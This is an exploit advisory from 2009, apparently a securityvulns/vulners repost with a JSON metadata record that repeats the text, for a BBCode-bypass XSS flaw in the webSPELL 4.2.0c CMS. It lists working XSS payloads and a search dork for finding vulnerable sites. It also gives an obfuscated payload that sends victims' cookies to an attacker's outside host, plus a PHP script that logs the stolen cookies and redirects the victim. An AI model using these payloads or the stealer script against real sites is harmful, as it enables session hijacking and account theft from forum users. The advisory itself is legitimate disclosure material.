webSPELL 4.2.0c XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY
----------------
CMS INFORMATION:
----------------
-->WEB: http://www.webspell.org/ (affected too)
-->DOWNLOAD: http://www.webspell.org/download.php?fileID=22
-->DEMO: http://www.webspell.org/index.php?site=demo
-->CATEGORY: CMS / Portals
-->DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and
gaming communities, providing all needed features like forums, gallery, clanwar...
-------------------
CMS VULNERABILITY:
-------------------
-->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default)
-->DORK: "Powered by webSPELL"
-->CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING
-->AFFECT VERSION: LAST = 4.2.0C (maybe <= ?)
-->Discovered Bug date: 2009-04-14
-->Reported Bug date: 2009-04-14
-->Fixed bug date: 2009-04-14
-->Info patch (v-4.2.0d): http://www.webspell.org/
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuсada, padres (y amigos xD) por su apoyo.
-----------
BUG ZONES:
-----------
#BBCode is bypassed by differents methods and XSS is possible.
----------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
----------------------------------
BOTH (FIREFOX AND IE):
[email][img]http://a.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email]
Maybe you find more...I looked for a bit xD
ONLY IE:
[email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
Combinations of tags like this:
[email][img]http://a.com onmouseover=alert(1) [/img][/email]
Generate the follow html code:
<a href="mailto:..."><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\"
onload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px;
max-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com
onmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a>
--------------------------
COOKIES EXPLOIT (BBCODE):
--------------------------
I'll use the first PoC (IE6 and firefox) and String.fromCharCode
to bypass quotes and send cookies to my host:
http://www.myphpcookiestealing.es/capturethecookies.php?ck=
Well...Let's GO!
[email][img]http://www.victim.es
onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie
[/img][/email]
------------------------------
COOKIES STEALER (PHP SCRIPT):
------------------------------
<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD
?>
You can use any cookie editor and you have one shot (XSSSHEll+XSSTunnel = many shots)
{"id": "SECURITYVULNS:DOC:21677", "bulletinFamily": "software", "title": "webSPELL 4.2.0c--XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY--", "description": "webSPELL 4.2.0c XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY \r\n\r\n----------------\r\nCMS INFORMATION:\r\n----------------\r\n\r\n-->WEB: http://www.webspell.org/ (affected too)\r\n-->DOWNLOAD: http://www.webspell.org/download.php?fileID=22\r\n-->DEMO: http://www.webspell.org/index.php?site=demo\r\n-->CATEGORY: CMS / Portals\r\n-->DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and\r\n gaming communities, providing all needed features like forums, gallery, clanwar...\r\n\r\n-------------------\r\nCMS VULNERABILITY:\r\n-------------------\r\n\r\n-->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default)\r\n-->DORK: "Powered by webSPELL"\r\n-->CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING \r\n-->AFFECT VERSION: LAST = 4.2.0C (maybe <= ?)\r\n-->Discovered Bug date: 2009-04-14\r\n-->Reported Bug date: 2009-04-14\r\n-->Fixed bug date: 2009-04-14\r\n-->Info patch (v-4.2.0d): http://www.webspell.org/\r\n-->Author: YEnH4ckEr\r\n-->mail: y3nh4ck3r[at]gmail[dot]com\r\n-->WEB/BLOG: N/A\r\n-->COMMENT: A mi novia Marijose...hermano,cu\u0441ada, padres (y amigos xD) por su apoyo.\r\n\r\n-----------\r\nBUG ZONES:\r\n-----------\r\n\r\n#BBCode is bypassed by differents methods and XSS is possible.\r\n\r\n----------------------------------\r\nPROOF OF CONCEPT (SEARCHING XSS):\r\n----------------------------------\r\n\r\nBOTH (FIREFOX AND IE):\r\n\r\n\r\n[email][img]http://a.com onmouseover=alert(1) [/img][/email]\r\n[email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email]\r\n[email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email]\r\n\r\nMaybe you find more...I looked for a bit xD\r\n\r\nONLY IE:\r\n\r\n[email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]\r\n[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]\r\n[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]\r\n[email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]\r\n[email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]\r\n\r\nCombinations of tags like this: \r\n\r\n[email][img]http://a.com onmouseover=alert(1) [/img][/email]\r\n\r\nGenerate the follow html code:\r\n\r\n<a href="mailto:..."><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\"\r\nonload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px;\r\nmax-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com\r\nonmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a>\r\n\r\n\r\n--------------------------\r\nCOOKIES EXPLOIT (BBCODE):\r\n--------------------------\r\n\r\nI'll use the first PoC (IE6 and firefox) and String.fromCharCode \r\nto bypass quotes and send cookies to my host:\r\n\r\nhttp://www.myphpcookiestealing.es/capturethecookies.php?ck=\r\n\r\nWell...Let's GO!\r\n\r\n[email][img]http://www.victim.es\r\nonmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie\r\n[/img][/email]\r\n\r\n------------------------------\r\nCOOKIES STEALER (PHP SCRIPT):\r\n------------------------------\r\n\r\n<?php\r\n$ck=$_GET["ck"]; //Capture the cookies \r\n$manejador=fopen("exploited.txt",'a'); //Open cookies saved file\r\nfwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values\r\nfclose($manejador); //Close file\r\necho "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD\r\n?>\r\n\r\nYou can use any cookie editor and you have one shot (XSSSHEll+XSSTunnel = many shots)", "published": "2009-04-17T00:00:00", "modified": "2009-04-17T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21677", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:30", "edition": 1, "viewCount": 3871, "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "dependencies": {"references": []}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:9845"]}]}, "exploitation": null, "vulnersScore": -0.3}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 1659730939}}